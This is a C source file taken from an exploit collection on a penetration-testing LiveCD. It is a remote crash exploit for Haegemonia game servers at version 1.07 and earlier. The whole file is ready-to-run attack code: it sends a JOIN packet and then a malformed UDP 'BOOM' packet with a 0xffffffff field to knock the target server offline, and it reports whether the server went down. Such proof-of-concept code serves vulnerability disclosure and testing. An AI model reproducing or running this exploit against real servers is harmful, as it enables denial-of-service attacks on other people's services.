home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / hgmcrash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  161 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. UNIX & WIN VERSION
  6. */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <time.h>
  12.  
  13. #ifdef WIN32
  14.     #include <winsock.h>
  15.     #include "winerr.h"
  16.  
  17.     #define close   closesocket
  18. #else
  19.     #include <unistd.h>
  20.     #include <sys/socket.h>
  21.     #include <sys/types.h>
  22.     #include <arpa/inet.h>
  23.     #include <netdb.h>
  24. #endif
  25.  
  26.  
  27.  
  28.  
  29. #define VER     "0.1"
  30. #define BUFFSZ  2048
  31. #define PORT    19664
  32. #define TIMEOUT 5
  33. #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, psz) \
  34.                   < 0) std_err();
  35. #define RECV    if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz) \
  36.                   < 0) std_err();
  37. #define JOIN    "\x00\x00"
  38. #define BOOM    "\x10\x00\x00\x03\x0b\x01" \
  39. /* boom */      "\xff\xff\xff\xff" \
  40. /* message */   "boomyeah"
  41.  
  42.  
  43.  
  44.  
  45. int timeout(int sock);
  46. u_long resolv(char *host);
  47. void std_err(void);
  48.  
  49.  
  50.  
  51.  
  52. int main(int argc, char *argv[]) {
  53.     int         sd,
  54.                 psz;
  55.     u_short     port = PORT;
  56.     u_char      *buff;
  57.     struct  sockaddr_in peer;
  58.  
  59.     setbuf(stdout, NULL);
  60.  
  61.     fputs("\n"
  62.         "Haegemonia <= 1.07 remote server crash "VER"\n"
  63.         "by Luigi Auriemma\n"
  64.         "e-mail: aluigi@altervista.org\n"
  65.         "web:    http://aluigi.altervista.org\n"
  66.         "\n", stdout);
  67.  
  68.     if(argc < 2) {
  69.         printf("\nUsage: %s <server> [port(%u)]\n"
  70.             "\n", argv[0], PORT);
  71.         exit(1);
  72.     }
  73.  
  74. #ifdef WIN32
  75.     WSADATA    wsadata;
  76.     WSAStartup(MAKEWORD(1,0), &wsadata);
  77. #endif
  78.  
  79.     if(argc > 2) port = atoi(argv[2]);
  80.  
  81.     peer.sin_addr.s_addr = resolv(argv[1]);
  82.     peer.sin_port        = htons(port);
  83.     peer.sin_family      = AF_INET;
  84.     psz                  = sizeof(peer);
  85.  
  86.     printf("\nStarting attack versus %s:%hu\n\n",
  87.         inet_ntoa(peer.sin_addr), port);
  88.  
  89.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  90.     if(sd < 0) std_err();
  91.  
  92.     fputs("- sending JOIN packet\n", stdout);
  93.     SEND(JOIN);
  94.     if(timeout(sd) < 0) {
  95.         fputs("\nError: socket timeout, server is probably not online\n", stdout);
  96.         exit(1);
  97.     }
  98.     buff = malloc(BUFFSZ);
  99.     if(!buff) std_err();
  100.     RECV;
  101.  
  102.     fputs("- sending BOOM packet\n", stdout);
  103.     SEND(BOOM);
  104.     if(timeout(sd) < 0) {
  105.         fputs("\nServer IS vulnerable!!!!!!!\n", stdout);
  106.     } else {
  107.         fputs("\nServer doesn't seem to be vulnerable\n", stdout);
  108.     }
  109.     close(sd);
  110.  
  111.     return(0);
  112. }
  113.  
  114.  
  115.  
  116.  
  117. int timeout(int sock) {
  118.     struct  timeval tout;
  119.     fd_set  fd_read;
  120.     int     err;
  121.  
  122.     tout.tv_sec = TIMEOUT;
  123.     tout.tv_usec = 0;
  124.     FD_ZERO(&fd_read);
  125.     FD_SET(sock, &fd_read);
  126.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  127.     if(err < 0) std_err();
  128.     if(!err) return(-1);
  129.     return(0);
  130. }
  131.  
  132.  
  133.  
  134.  
  135. u_long resolv(char *host) {
  136.     struct  hostent *hp;
  137.     u_long  host_ip;
  138.  
  139.     host_ip = inet_addr(host);
  140.     if(host_ip == INADDR_NONE) {
  141.         hp = gethostbyname(host);
  142.         if(!hp) {
  143.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  144.             exit(1);
  145.         } else host_ip = *(u_long *)hp->h_addr;
  146.     }
  147.     return(host_ip);
  148. }
  149.  
  150.  
  151.  
  152. #ifndef WIN32
  153.     void std_err(void) {
  154.         perror("\nError");
  155.         exit(1);
  156.     }
  157. #endif
  158.  
  159.  
  160.  
  161.